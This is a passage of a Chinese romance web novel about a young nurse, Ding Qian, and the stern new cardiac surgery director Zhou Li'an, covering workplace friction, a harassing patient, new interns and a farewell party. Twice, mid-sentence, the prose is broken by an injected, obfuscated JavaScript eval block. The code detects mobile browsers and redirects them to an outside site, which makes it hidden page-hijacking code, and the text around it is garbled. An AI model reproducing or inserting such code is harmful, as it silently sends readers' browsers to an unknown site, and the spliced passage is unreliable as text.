挂断电话，丁浅找到余笛的微信，毫不犹豫将周黎安的名片推送过去。 “啧啧啧，医生跟医生谈恋爱……”夏凝咂嘴，不敢苟同。 “我们急诊科的护士长还跟妇产科主任是夫妻呢，你不要一棒子打死所有人。” “那你怎么没跟齐阳在一块？” “我……” 齐阳对丁浅有意思，整个急诊人尽皆知。 早在她刚分到急诊那会，齐阳就通过张主任，恳请护士长多多关照她，为此庞燕可没少拿这事开两人玩笑。 对于结不了果的姻缘丁浅向来主动，在庞燕声称要撮合他们俩时，丁浅直接将这层关系挑明，表明自己并无此意。 这事不了了之，虽说平常也会有人打趣，可没敢再往深了去开玩笑。 那段青涩初恋之后，丁浅心里再没有过别人。 她整天两点一线，遇到的净是身穿白大褂的男医生，真没觉得找个医生男朋友有什么可高兴的。 “他不是我喜欢的类型。”良久，丁浅才说。 “那你喜欢什么样的，我让廖天淇帮忙留意看看？” “对生活有态度的那种。”丁浅脑子有点乱，她没好好想过这事，非要说出个类型，大概就是这种。 “你直接说跟你三观一致得了。” “我也就随便说说，真遇上了什么都不重要。” 夏凝替她不值，“我看啊，你就一直纠结在过去里算了。” 丁浅没出声。 都说青春是场盛大的浩劫，有人盛装出席，有人肝脑涂地。 她就是后者。 丁浅时常会有一种错觉，仿佛时光并没有带走一切，她跟顾西沉还是高中地下恋情的第一批勇士。 / 接近下班，周黎安一个电话，把更衣室里正在商量去哪里吃夜宵的几人吓得不敢说话。 “不是吧，都下班了。”其中一位护士抱怨道。 丁浅重新穿上白大褂，对旁边几人说道：“你们去吧，估计一时半会走不了。” 几人虽有怨言，可没敢真在背后说周黎安的坏话，相互道别之后，丁浅快速去了办公室。 门关着，丁浅敲了敲门。 “进来。” “周主任，您找我？” 周黎安从面前电脑屏幕上抬起头，指着身后的大门示意：“门关上。” 虽有疑惑，丁浅仍乖乖照做。 “微信是不是你推给余医生的？”没等丁浅反应，周黎安劈头盖脸直接问道。 “是…是的。” “知不知道她什么目的？” “知…知道。” “既然知道，没想过当事人同不同意就擅自决定？” “我……” 屋里气压极低，只有墙上的挂钟在嘀嗒嘀嗒发出令人心烦意乱的声音，周黎安气的一把摘了眼镜。 眼镜被莫名扔在桌上，丁浅的心也跟着他的动作骤然揪住，她缩了下肩膀，紧抿着唇不敢轻易辩解。 不过就推了微信，不至于恼羞成怒成这样吧？ 没等到合理的解释，办公桌后的男人边着揉太阳穴，边朝门口看了过来。 黑沉沉的眸里，怒火中烧，下一秒就能将人点燃。 “没话说？”周黎安逼问道。 “您，您觉得不合适也可以拒绝——” 周黎安哼笑一声，脸色骤然变得阴冷，“既然你也这么想，怎么不懂得拒绝？还是，你们小姑娘的交友方式一贯都这样？” “周主任，您这话什么意思？”丁浅本想息事宁人跟他道个歉，这突然阴阳怪气指责她交友问题，怎么看都是另有其意。 丁浅脾气虽好，但有底线。 尤其，她并没有复杂的人际关系。 “广泛交友是你们的权利，但不代表可以替别人做决定！” “推个微信而已，您有必要跟工作一样上纲上线吗？” “‘而已’？”周黎安重新戴回眼镜，镜片后的那双眼寒意阵阵，“我眼里只有工作。” “把你的工作做好，比做什么都强！” 周黎安自动把她划分到广泛交友的行列里，哪怕名不相符，丁浅也找不到机会再为自己辩解。 那晚之后，人人都知道心外科新来的周主任，不仅医术高明，脾气也高。 / 之后一周，连平日里偷懒惯了的那几位护士都打起了十二分的精神，卖力程度堪比竞争先进个人。 苏棠打趣说是周主任来了之后，替她重新整顿了心外科的风气，只有夏凝和丁浅不这么认为。 “我看他就是故意给你小鞋穿！”更衣室里，夏凝各种打抱不平。 就今天上午，周黎安不是嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375770|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁浅动作慢就是觉得她准备不够充分，各种训斥，旁若无人的，几乎没给她什么好脸色。 丁浅知道跟推送微信一事有关，只能暗自把苦水往肚子里咽。 “反正就三个月。”丁浅深吸一口气，“以前实习的时候，咱们被骂的还少？” “话这么说没错，可以前也没在走廊训人吧？” “人跟人总归是有区别的。” “帅顶什么用，就知道欺负小姑娘！” “行了。”丁浅整理好仪容正要推门，发现更衣室的大门根本没关，她免不了多了句嘴：“下次记得关门，给人听见不好。” 话刚说完，她整个人僵在原地。 门外，周黎安刚巧经过。 “我又没说错，怕什么？”夏凝的声音从后面跟来，趾高气扬的语调，完全不知道外面什么状况。 “周…主任？”丁浅脸色煞白。 周黎安并不是有意偷听。 他不过是去了趟洗手间刚巧路过，又恰好听到那句“就知道欺负小姑娘”而已。 目光从夏凝身上一闪而过，周黎安收回视线。 他从口袋里掏出饭卡，交代丁浅，“下午有台手术，帮我打份饭。” 说完消失在尽头。 “完了完了，你说周主任会不会听到了啊？”夏凝急得团团转，整张脸比哭还要难看，“以后穿小鞋的又多我一个了。” “刚刚不是说不怕？” “我那是装的。真遇到事，我比兔子还胆小。” “晚上我还得给他送饭，你有我惨？” “也是。不不不，我不是那个意思……”夏凝已经语无伦次，前言不搭后语，完全不知要表达什么。 搭班有段时间，丁浅几乎摸清楚周黎安手术的大致时间。 今天是一台心脏瓣膜置换手术，时间较长，早过了饭点周黎安仍然不见踪影。 接近七点，走廊才传来一阵脚步声。 丁浅探头，正好与刚刚摘下口罩的周黎安撞个正着。 她将一次性饭盒放进微波炉，叮好之后送到对方办公室。 “谢谢。”周黎安正在水池前清洗双手，听到声音连头都没抬一下。 如果没有发生争执，丁浅或许会主动关心两句手术情况。如今潜在矛盾没有解决，她是一点多余的话都不想说。 放下饭盒和饭卡，丁浅转身就走，尽量避免和他对视。 “回来。”周黎安已经洗完，正抽了两张纸仔细擦手。 职业习惯，他来来回回擦了好久才将纸扔进垃圾桶，转身看着门口眼神过于平静的小护士。 “还委屈了？” “不敢。” “那私下说我坏话？” “您不是也偷听嘛。” 排除工作，周黎安算不上特别较真，他知道她们私底下怎么议论他，可那仅限于他并没有亲耳听到。 今天不同。 当周黎安亲耳听到夏凝说他欺负她时，内心其实有那么一丝不可置信。 说两句就算欺负的话，那严师的头衔到底应该放在什么位置？ “你的好心会给别人带来麻烦，你知道因为这件事外面多少人议论我？” 丁浅：“……” “我是对你要求严格，但要说欺负还不至于。你一个小姑娘家，欺负你我胜之不武。” 丁浅：“……” “这件事作罢，以后记好我说过的话。”周黎安回到桌前，瞧见饭盒盖上满是蒸汽，异样划过眼角。 “拿去。”他从抽屉里拿出一盒巧克力扔在桌上。 丁浅无动于衷。 既没有上前也没有露出惊讶的神色，跟没看见似的。 “怕我毒死你？” “不是。” 事情发展到这个地步，已经完全出乎丁浅的意料，她认定周黎安故意拿微信一事针对她，万万没想到居然会请她吃巧克力。 打个巴掌给个枣的道理她懂，偏偏她不想遵循。 “既然不是那就拿着。”隔着镜片，周黎安的眼神极具威慑力，叫人没有胆量随意扯谎。 丁浅已经打定主意不接，再三思考之后，丢下一句：“给您惹了麻烦，没道理再吃您的东西。” 说完转身跑了。 那速度比兔子逃跑还要快。 11. 011 周黎安没想过丁浅知道。 那天他在办公室也见过余笛，听到对方和宋秦朗聊到病情，他以为推送微信不过是为了想更加深入了解病症。 哪知道东扯西扯，最终绕到要请他吃饭上。 周黎安没理由赴约，也就把话挑明，说自己没有时间。 余笛并没有放弃，反而在他刚刚回绝的下一秒发来一段文字： 【小丁说你是单身，就当交个朋友，不可以吗？】 若不是碍于上班时间，周黎安恨不得立马就把丁浅找来训斥一番。 他身边不乏追求者，工作这些年也遇到过形形色色的女人。 病人家属居多，也有表面套近乎实际上想着让他主动的年轻女医生。 几乎每次只要看出点苗头，周黎安就会快刀斩乱麻，绝对不会乱搞暧昧关系。 对待余笛的邀请，他也是同样的态度拒绝的彻底，本想再利用下班时间给年轻小姑娘提个醒，哪知她非但没意识到错误，反而跟他较上了劲。 周黎安不至于跟个年轻护士置气，但对方是丁浅，这事就得另说。 丁浅这姑娘比一般护士爱藏心思，表面看着乖巧，实际上比任何人都倔，尤其她根本没有好好认错的态度。 他承认后来几天确实有故意的成分，想着打压打压她的气焰，好叫她明白人情世故远不止这些，可到头来那姑娘真打算忍下去。 周黎安这才意识，或许在一开始他就应该告诫清楚。 巧克力最终成了“孤儿”。 亏他前一天特意去超市买的。 想着好歹她爱吃，也算抵消这些天来对她的严厉苛刻，谁曾想，那姑娘居然不领情！ 周黎安吃着热乎的盒饭，心思都落在那盒孤零零没人要的巧克力上。 第二天一早，他将巧克力转送给苏棠。 想到前几天夏凝找她打听过，苏棠不免替他高兴，“前几天夏凝还找我问你是不是单身，这么快就有好消息了？” “家里妹妹硬给的，说是吃不完。”周黎安淡淡应了一声并未做过多解释，只说：“这东西我也不吃，您拿去给护士们分分吧。” “行，那我先替那帮姑娘谢谢你。” “您客气了。” / 丁浅今天上午在ICU病房，接近中午才和别人调换回来吃饭。 她刚进更衣室，就被告知柜子里有两颗巧克力。 “谁给的？” “护士长说是周主任的。” 丁浅原本要吃，这下跟摸到烫手山芋似的，赶紧又放回原处。 “听护士长的意思，好像有人中意咱们周主任，特意送的。”正在吃饭的护士来了兴趣，拉着丁浅说个不停。 “你平常跟他共事有没有发现什么？” “发现什么？” “就，有没有经常看手机，或者对着手机偷笑之类啊？” 丁浅摇摇头，“周主任好像不怎么看手机。” “那奇了怪了。”一看没有八卦可听，对方撅着嘴又继续埋头吃饭。 丁浅取了饭卡，想了想一把抓起那两颗巧克力。 走到电梯间，趁周围没人经过，她毫不犹豫将巧克力扔进了垃圾桶。 吃人嘴短，这巧克力她可不敢吃。 丁浅或多或少已经猜到周黎安的用意，他这么做完全是想一箭双雕。 既给自己台阶下，又可以暗地打消有人想撮合的心思，丁浅已经做好忍气吞声的准备，眼下万万不会再吃他的东西。 相安无事几天，周黎安终于看出端倪。 起先是在工作，周黎安发现小姑娘比以往更加仔细，想着或许她已经适应了他的工作步调，谁知并不是这么简单。 那晚夜班，两人在电梯里遇上。 丁浅不咸不淡打了声招呼，再之后低眉顺眼一句话不说。 电梯上升的过程中，周黎安问什么她回答什么，多一个字都不给，直到出了电梯遇上相熟的护士。 她瞬间换了副神情，有说有笑的，跟在他面前简直判若两人。 周黎安并不会再拿这说事，眼瞧着嘴角上扬的小护士，心里直呼她孩子气太重。 被人批评还要一块工作的情况丁浅没遇到过，以至于周黎安走远，她才彻底松了一口气。 “三床的病人有没有出什么幺蛾子？”丁浅换好衣服回到护士台，正在和要下班的护士交接工作。 “没有，就是问我你今天怎么没上班。”对方摘了口罩，提醒丁浅：“瞧着并不安分，你别太给他脸了。” “嗯，知道。” 三床是位年纪轻轻的男患者，昨天刚出ICU。 对方自以为长得不错，刚住下就开始对护士言语轻佻。 丁浅就是其中之一。 入院那天，丁浅就曾让他当众下不来台，以至于住ICU那几天根本就没消停过。 “我先走了，他要真敢闹事你让主治医生去解决。”护士拍拍丁浅的肩膀，善意提醒。 丁浅点点头，安心忙着手里的工作。 接近十一点，护士台的铃声响了，丁浅定睛一看，是三床。 收拾情绪，她摁了铃转身去病房。 单间病房里，烟味呛人，丁浅站在门口眉头紧锁。 “还愣着干什么，没听见我们刚刚按了铃吗？”坐在陪护床上的男人正在打游戏，噼里啪啦厮杀的声音吵得人耳膜生疼。 病床上的那位并没有出言抵制。 他目光望着年轻貌美的小护士，一脸得劲。 “护士，我胸口疼。”他眯着眼，不怀好意。 “刚开完刀肯定会有反应，忍一忍，这种情况会慢慢恢复的。” “反应？什么反应呀？要不你过来帮我看看？”躺在病床上的男人，除了气色不好之外，嘴脸还是一如既往的难看，甚至指挥起打游戏的那位，替他摇上病床。 那陪护难得见到自己兄弟一雪前耻，怎么还顾得上手里的游戏？ 他扔了手机，赶快过来摇床，完全不管手机里娇滴滴的女声。 “病人需要休息，请保持安静。”丁浅皱着眉头，指着门外，“还有，烟瘾犯了可以去走廊，你这种做法只会影响病人康复时间。” “影响又怎么样？”男人不以为然，站在床尾和丁浅对峙：“鬼门关走过一趟，还怕再来一回？是不是兄弟？” 床上那位有模有样地点点头，就差把“妙哉”两个字挂在脸上。 跟这种人没法交流，丁浅只想赶快处理完。 “哪里不舒服？” “这里。”病人抬手指了指自己被绷带缠绕的地方，故意哼唧两声：“可能裂开了，你帮我揭开看看？” “表面没有渗血的迹象，可能只是你的心理作用。”丁浅弯腰仔细看了又看，但并没有上手。 “你们护士就这么不负责任吗，病人有要求都不能满足？”男人喋喋不休，丁浅生怕影响到其他病房，勉为其难上手去查看。 只拆了一处，并没有出血的现象，丁浅将纱布贴好，目光来来回回在男人脸上过了好几遍。 “这么看我不好吧？”男人笑嘻嘻地和她对望，“别是害羞了？” 陪床的男人也跟着哈哈大笑，几乎把丁浅当成了他们玩耍的乐子。 丁浅狠狠瞪了一眼，转头出了病房。 再之后，每隔一个小时，护士台都会听到三床的铃声。 碍于时间已到半夜，丁浅只能一遍遍跑去解决。 天快亮时，丁浅从病房出来后并没有回护士台。 她跑到卫生间洗了把脸，然后站在窗口发呆。 东方渐白，金光隐现，朝气蓬勃的一天即将开始，丁浅却疲惫至极。 当这种感觉被低落的情绪逐渐放大，委屈也跟着上涌，她竟然落下泪来。 泪水跟断了线的珠子似的，一颗接着一颗往下落，完全没有要停的迹象。 站了好一会，才逐渐止住。 转身正要回护士台，却见到了周黎安。 周黎安双手插在白大褂口袋里，高阔的身型立于走廊，全身自带压迫感。 他从值班室休息回来，路过走廊正巧碰见。 要不是丁浅抬手抹眼泪的动作太过频繁，周黎安不会停下脚步。 “怎么回事？” “没事。”丁浅低着头，只想赶紧从他身边消失。 “被病人刁难了？” “没有。” 周黎安还欲再问，丁浅已经低着头走开。 刚刚，她从身边经过的时候，周黎安明显看到她通红的眼眶，并不是只哭了那么简单。 他没有细问，回办公室第一时间去找其他护士了解情况。 得知是被三床的病人折磨了大半夜，他气得直摇头。 早班开始，周黎安去了一趟大办公室。 “针对三床的病人，您作为护士长有必要给他们提个醒。”周黎安面无表情地指出。 “这事小丁刚刚也跟我说了，待会查房我亲自过去解决。” 得到答复，周黎安回办公室换衣服准备下班，刚脱下白大褂，他想了想还是去了一趟病房。 三床的门关着。 周黎安刚推开就闻到一股浓重的烟味，病床上的男人鼾声四起，陪护椅上那位也仰着头歪倒在一边。 他径直走到窗边，将窗户全部推开。 外面喧嚣的声音一下子灌进耳朵里，终于惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375771|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动了呼呼大睡的两个男人。 “周医生？”男人揉着眼睛正从床上半睁开眼睛。 陪护椅上的那位也赶忙擦了擦口水，毕恭毕敬坐直身子。 “病房是让病人清净修养的地方，如果没办法遵守，我的建议是，早点出院。” 他目光阴冷，眼神扫过两人，紧接着又说：“至于昨晚…如果实在管不住口嗨的毛病，我这边可以帮忙联系其他科室！” 两人同时错愕，根本不敢相信外表柔柔弱弱的小护士居然会告发他们。 “没有没有。”陪护的那位替朋友狡辩：“我兄弟就是心口不舒服，谁知道那护士根本没当回事。” “是没检查还是真不舒服？” 那人咽了咽口水，没敢回答。 “既然已经检查过，为何每隔一个小时就干扰护士工作？整个病区不是你一位病人，出了什么事你能承担得起？” 周黎安句句在理，步步紧逼，那两人只能忍受周黎安言语上的训斥，并不敢在他面前造次。 决定生死大权的医生往往就有这种本事，他们不怒自威，再恶劣的病人见了都得提着心走。 / 丁浅走的早，并未听说此事。 一觉睡到下午，醒来才发现微信上十来条语音，皆来自夏凝。 【周主任也太man了吧，他居然一大早亲自去教训那两个无赖耶！】 【真没想到周主任这么护崽，看来以前是我有眼不识泰山，没看出他这么伟岸的一面！】 【我决定了，打从今天开始，我将洗心革面，重审自我，打消对周主任的一切敌意，以后他就是我们心外科的神主！】 【浅浅，怎么办？我突然好羡慕你呀，我也想被宠爱一回，呜呜呜……】 【你知道现在整个心外科最幸福的小孩是谁吗？是你！大家都说是你发现了周主任强大的执行能力，好羡慕你……】 …… 丁浅越听越起鸡皮疙瘩。 夏凝这哪是羡慕她，完全把她带入了某种故事情节里。 年长的男医生出手相助年轻貌美的小护士，再之后她为了感恩，以身相许。 以身相许？ 丁浅浑身一激灵，赶紧打断这种念头。 【你夸大事实了，真实情况其实挺惨无人道的。】丁浅回复。 【那也是一场英雄救美的戏码，太他妈精彩了！】夏凝秒回。 丁浅汗颜：【淇哥已经快把你宠上天了，还羡慕世俗？】 夏凝：【讨厌讨厌讨厌！小拳拳打你胸口！】 丁浅退出当前对话，转头找到周黎安的微信。 聊天还停留在前两天，他没找到她人，私下发微信让帮忙打饭。 【昨天的事，谢谢。】丁浅咬咬牙，点了发送。 消息一直没回，丁浅也没在意。 他是主任，回与不回其实没有太大关系，她只要单方面做到位就行。 今天依旧是夜班。 丁浅与白班护士交接完之后，埋头开始工作。 昨天的事情仍让她心有余悸，一听到铃响都会莫名奇妙紧张。 “今天三床交给我。”同班护士解释：“护士长都跟我说了。你也真是，那么难缠你喊我一道去啊，干什么自己硬撑着。” 三床并不是对方的管床范围，除非有事，几乎各人忙各人的，丁浅分的清楚。 “没事，我的范围还是我来吧。” 对方也没坚持，只说有事喊上她一块。 周黎安今天十点才到，路过护士台正好注意到丁浅，他敲敲台面，“忙完过来一趟。” 丁浅没有故意磨蹭，将手上的记录处理好便去了对方办公室。 “有没有再找你麻烦？”见到来人，周黎安开门见山直接问道。 “没有。”快速做出回答之后，丁浅跟着补充：“应该消停了。” “那就好。”周黎安点点头，“以后遇到这种事理直气壮一点，护士不是保姆，没必要处处听他们摆布！” “知道了，周主任。” 周黎安正忙着手里一堆实习生的材料，眼看着小姑娘乖乖巧巧站在门口，他突然有些词穷。 他并不是爱管闲事之人，以往遇上这类矛盾顶多做个调解息事宁人，像今早这种情况，还是第一次。 收到她发来的消息周黎安并不意外，这姑娘也不见得真是什么洒脱的性格。 她大概就是别人口中所说的，从小护在花园里的花，从出生开始就带着旁若无人的娇生惯养。 直到今早。 周黎安亲眼看到鲜花垂败，光鲜灵动的双眼蒙上尘埃，他恍惚意识到或许帮一回娇花，尝试一下鲜活的人生并没有什么不好。 12. 012 十一月初，医院招进来一批年轻的医护人员。 分到心外科一共五人，两名实习男医生，三名实习护士。 丁浅绝大多数时间都跟着周黎安，以至于她比别人最先认识那两位男医生。 名叫程一鸣的实习医生个字偏高，身材匀称，标准尺码的白大褂穿上身要比周黎安还要合适。 刚来那天，他就被盯着问有没有女朋友。 “谈好几年了。”程一鸣腼腆一笑，一米八出头的个子落在人群里，绝对称得上谦虚。 钱唐跟他相反，标准的活跃分子。 丁浅刚见到他，就被他突如其来的热情劝退。要不是后来再三解释，想必没有人会觉得他这样的性格，适合待在心外科。 钱唐是标准的单身狗，刚来可没少让一帮女护士帮忙介绍对象，碍于有周黎安这个大主任坐阵，众人并不敢高调。 “周主任是不是整天都板着张脸啊？” 中午吃饭，钱唐抓住好不容易得来的空闲机会，逮着丁浅各种套近乎。 “基本都是。”丁浅塞了一口米饭，含糊回答。 “那私下呢，私下总不可能也这样吧？”程一鸣停了筷子，故作沉思。 “不牵扯工作其实还好。” “那就是公私分明喽？” 丁浅点点头，“差不多。” “周主任——” 嘴里的饭还没来得及咽下去，丁浅就被钱唐的声音吓了一跳。 她跟着对方的眼神看过去，果真周黎安出现在食堂窗口。 “公共场合，注意身份！”周黎安端着餐盘过来，瞧了一眼只剩唯一的空位，旁若无人坐在丁浅旁边。 莫名的压迫感，尤其她只要微微动一动胳膊就会跟他的衣服产生不必要的接触，丁浅若无其事地往旁边挪了挪，尽量避免这种情况。 “周主任，我们是不是也要跟着您一块上手术台？”钱唐遵循丁浅的建议，趁着吃饭有事赶紧问。 “原则上是这样。不过你们刚来，一切都得从头开始。” “这个我们明白。只要您开口，凡事尽管听您调遣。”程一鸣补充道。 周黎安点点头，转头看向丁浅，“这几天你先带他们熟悉一下内部情况，等适应了该做什么还做什么。” “好。” “我听说护士需要轮岗，小丁你实习的时候也轮岗？”钱唐随意一问。 “嗯，八大科室都要进行学习。” “那后来一直就在咱们心外科？” “不是。”丁浅喝了一口热汤，“我是急诊那边的，最近在这边支援。” “急诊？”钱唐来了兴趣，“急诊是不是比咱们这边累多了？” “差不多。”碍于周黎安坐在旁边，她建议：“先吃饭，吃完我给你们说。” 周黎安全程无视，不过在听到丁浅出言打断时，免不了抬了下眉。 吃完饭，周黎安先一步，剩下三人落在他身后。 钱唐跟个大喇叭似的叽叽喳喳说个不停，周黎安想要出言制止，又觉得毕竟不是在心外科。 电梯升到二楼，进来一波人。 丁浅一直被迫往里让，最终退到周黎安旁边。 她本身不高，加上程一鸣和钱唐都站在她前面，就显得更加娇小。 “挤不挤？”程一鸣扭头，问了一声。 “没事。” 声音不大，软软乎乎，像她给人的第一印象。 周黎安看了一眼，随后把目光移开。 到了心外科那层，钱唐一出电梯大呼舒服。 他挤挤一旁不做声的程一鸣，开始夸赞：“有女朋友就是不一样啊，对待小丁都这么细心。” “习惯了，我女朋友也不高，进电梯经常被人忽视。” “小丁你什么感觉？” “什么什么感觉？” “男朋友有没有这么细心过？” “啊？哦，我单身。”丁浅直言。 钱唐这下就有些尴尬，他摸摸鼻子，吞吞吐吐解释：“对不起啊，我刚真开玩笑的。” “没事。”丁浅笑笑，“以后有了，我一定告诉他这么做比较绅士。” 轻松一句话，逗笑三人。 周黎安眼里的情绪一闪而过，听着他们的交谈声，冷着脸快速消失在走廊。 小姑娘跟他说话向来放不开，问什么回答什么，怎么到了其他人身上都懂得缓解尴尬了？ 同样都是男人，仅仅是因为他之前指责过她交友方式，就这般区别对待？ 联想之前自己还替她出头，周黎安顿时有种自作多情的错觉。 难不成真是他一厢情愿？ 好歹热情些才对，还越来越倒回去了。 / 丁浅带着程一鸣和钱唐熟悉了两天，第三天已经放手去做自己的事情。 钱唐颇有微词，觉得丁浅跟着他们好歹还能轻松点。 程一鸣得知他这个想法，私底下劝他：“咱们刚来，别给小丁添什么麻烦。” “我就实话实说，本来护士就挺辛苦的。”钱唐撇撇嘴，不以为然。 “你不是对小丁有想法吧？”程一鸣诧异，眼里的情绪都变了。 “我们俩开开玩笑得了，可不能乱说，她比我还小，当成好妹妹而已。” 周黎安自从开始带实习医生后，几乎把之前丁浅的所有工作都分配到两人头上。 骂是常有，经常骂着骂着提到丁浅，颇有拿她做比较的意思。 两人态度还算不错，被骂依旧勤勤恳恳，只不过回头就和丁浅抱怨上，大有替她打抱不平的意思。 这天刚上班，钱唐拎着两杯奶茶进了心外病区。 “小丁！小丁！”大嗓门一响，惊动了护士台所有护士。 “又找我们小丁什么事啊？”一护士打趣。 “买一送一，正好给她带了一杯。”钱唐坦坦荡荡，举着奶茶四处找人。 “也不见你给我们带一杯呢，就知道区别对待！” 钱唐也不生气，摸摸脑门，笑着和对方扯皮，“这不是受她指点，工作越来越得心应手嘛！” “赶紧去赶紧去，可没几天了。” “什么意思？” 护士一拍脑袋，“我忘了你今天夜班。早上护士长提过一句，说小丁月底要回急诊科了。” “回急诊？”钱唐知道她来心外支援，却不知道只有三个月。 “估摸着还在更衣室呢，不信你自己去问。” 丁浅换了衣服正和张初华通电话。 “知道了妈，回头我肯定注意休息。”丁浅正听的有些不耐烦，忽然听到门外钱唐的声音，连忙打断：“妈，同事喊我呢，我先挂了。” “钱唐，你找我？”丁浅拉开门，就看见钱唐拎着奶茶火急火燎地从远处跑过来。 “你要回急诊了？”钱唐身型略胖，一路小跑着过来，生怕丁浅已经走了。 “估计月底吧，等正式通知下来。” “我当你之前说着玩的，没想到还真是。”钱唐喘口气，将奶茶递过去，“喏，给你。” “谢谢。我就不跟你客气了！” “去去去，赶紧回家！” 钱唐送完奶茶回到办公室，程一鸣已经到了。 “隔老远就听到你的大嗓门，小丁都下班了还麻烦人家？” “给她带了杯奶茶。”钱唐将包放下，拖了椅子坐到程一鸣旁边，“小丁月底要回急诊，这事你听说没？” “你从哪里听来的？” “护士们说的，我刚也问小丁了。” 程一鸣咬着笔盖，暗自琢磨 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等办公室恢复安静，宋秦朗才笑着打趣周黎安：“这么看还是咱们小丁好。任劳任怨话还不多谁像这两位小朋友，精力太旺盛，整天停不下来。” “小丁是女生，没法比较。” “哟，这个时候知道人家是女孩子了？以前骂人的时候可没见你这么说过。” 宋秦朗打心眼里觉得丁浅这姑娘不错，要长相有长相，要气质有气质，要不是自家没个差不多岁数的小男生，他早就帮忙撮合了。 “我一直觉得咱小丁不错，可惜了。” 周黎安抬眼，不解地看过去：“可惜什么？” “可惜要回急诊啊，不然我高低给她做趟媒。” 周黎安不置可否，听过作罢，继续去忙自己的事情。 早间查房结束，苏棠叫住周黎安，“周主任，打扰两分钟。” “您说。” “小丁是我特意协商调过来的。如今急诊那边调她回去，我的意思，大家伙给办个欢送会，一来呢咱们来了新同事一块聚聚，二来也当是送送人家小姑娘。” “行，您安排。” 周主任放话，苏棠回头就把这事吩咐给爱折腾的护士，还没下班整个科室都知道了。 “其实也没必要这么麻烦。”丁浅被问到有没有什么更好的建议时，直摆手说不要。 夏凝给她使使眼色，“干嘛不要？多好的机会呀，趁机灭一灭周主任的威风，大家都等着一天呢！” “你之前不是还说对他改观吗？” “只有那天！现在我又叛变了，想看他私底下究竟啥样。”说完已经忍不住捂着嘴开始偷乐，好像周黎安那天什么样已经提前预知。 “要不咱们就定个大包厢，喝酒唱歌玩游戏，怎么样？”旁边护士跟着附议：“我还挺想听一听周主任唱歌什么样呢！” 丁浅没法细说。 要是让她们知道周黎安既不能喝酒也不爱唱歌，夏凝肯定带头追问个没完。 这种喧哗吵闹的地方他也不见得会去，丁浅暗自庆幸。 从知道丁浅要回急诊开始，周黎安就在暗自思考自己是不是得有点表示。 排开工作，她替他介绍中介透露省钱妙招，光这一点他就没理由不请她吃饭。 想到吃饭，周黎安头疼。 她要是真肯跟自己吃饭，那晚坐他的车也不会胆战心惊，如临大敌。 想了半天，周黎安翻开微信，找到堂妹周清颜的微信，噼里啪啦打了一行文字过去： 【你们这个年龄段的女孩，平常都喜欢些什么东西？】 13. 013 周清颜二十四岁，目前在读研究生。 收到周黎安的微信消息，立马拨了电话过来。 “哥，你有女朋友了吗？怎么认识的？是不是跟我一般大？” 对于这个堂妹，周黎安是能回避就回避，话多还特别八卦。 “不是。”周黎安一口否定。 “……不对，那你好端端问这个干嘛？”电话里周清颜不怀好意地威胁：“老实交代，小心告发你！” “同事，买房人家帮了忙。” “那你请吃饭不就好了，何必大费周章送什么礼物？” “不肯。” “哦……我懂了！”周清颜一脸坏笑，“是不是人家有意拒绝你，让你为难了？” “算了，跟你说不明白。”周黎安见解释不通，便打算要挂电话。 “别别别，哥，我说着玩的嘛！”周清颜一听急了，“你好歹透露点吧，你光说是同事，我怎么帮你分析嘛？” “护士。爱唱歌，平常…话不多。”周黎安只知道这两点，其他什么外貌特征他觉得没必要细说。 “爱唱歌还是会唱歌？” “会唱，之前听过。” “哇塞，我未来嫂子这么厉害的嘛！”周清颜神经大条，一听还有这么一段故事，当即开始在脑海里恶补起偶像剧情。 “再瞎说信不信我找你爸妈去？” 周黎安手握周清颜不学好的证据，为此对方没少在他面前发过誓。 “行行行，不说还不行嘛！”周清颜委屈巴巴，碍于周黎安不在跟前没办法撒娇。 琢磨半天，她试探性又问：“哥，价格略贵的行不行？” “你说。” “我室友是电子发烧友，之前我听她提过一款迷你音响，说是音质外观都是一绝，就是价格不那么美丽——” “多少？” “得小几千。” 周黎安不想在无关紧要的事情上浪费太多时间，果断应下，随后转了五千块过去。 【剩下的就当给你的生日礼物，喜欢什么自己去买。】 周清颜：【哥，你真大方。我保证这个礼物人家一定喜欢！】 周清颜喜滋滋收下红包，转头就去找室友要购买链接。 / 欢送会定在二十五号，周五。 苏棠几乎迁就了几位实习生的时间，好巧不巧，偏偏那天周黎安得上手术台。 “大家玩的开心就行，我无所谓。”周黎安一贯随和，本身他也不想参与。 “实在是只能凑到这一天，要不到时候您看情况？”苏棠一脸歉意。 “行。” 二十五号，丁浅下夜班休息。 睡到下午三点，她才缓缓睁开眼睛。 本没想过要穿什么赴约，但收到钱唐中午发过来的微信消息，才立马改了主意。 【重要通知，周主任说他晚上不来。】 继衣服被卡在他车门之后，丁浅几乎天天卫衣牛仔裤，她想逐渐淡化那场突如其来的窘迫，以至于近段时间都没去酒吧。 快速收拾好，丁浅便坐在化妆台前开始捯饬。 卷了头发，戴了假睫毛，甚至连耳朵上都戴了一对亮闪闪的星星耳钉。 丁浅对自己的化妆技术一直胸有成竹，看着镜子里顿时光鲜靓丽的自己，她心情大好，套了双长筒靴赶紧出门。 刚刚入冬，室外寒意渐起，迎面而来一阵冷风，吹得丁浅直打哆嗦。 看来美丽是需要付出代价的，她暗暗心想。 来不及回去重新换衣服，丁浅裹紧上衣打了辆车直奔目的地。 吃饭的地方定在时代广场四楼，一家专门做云南口味的火锅店。 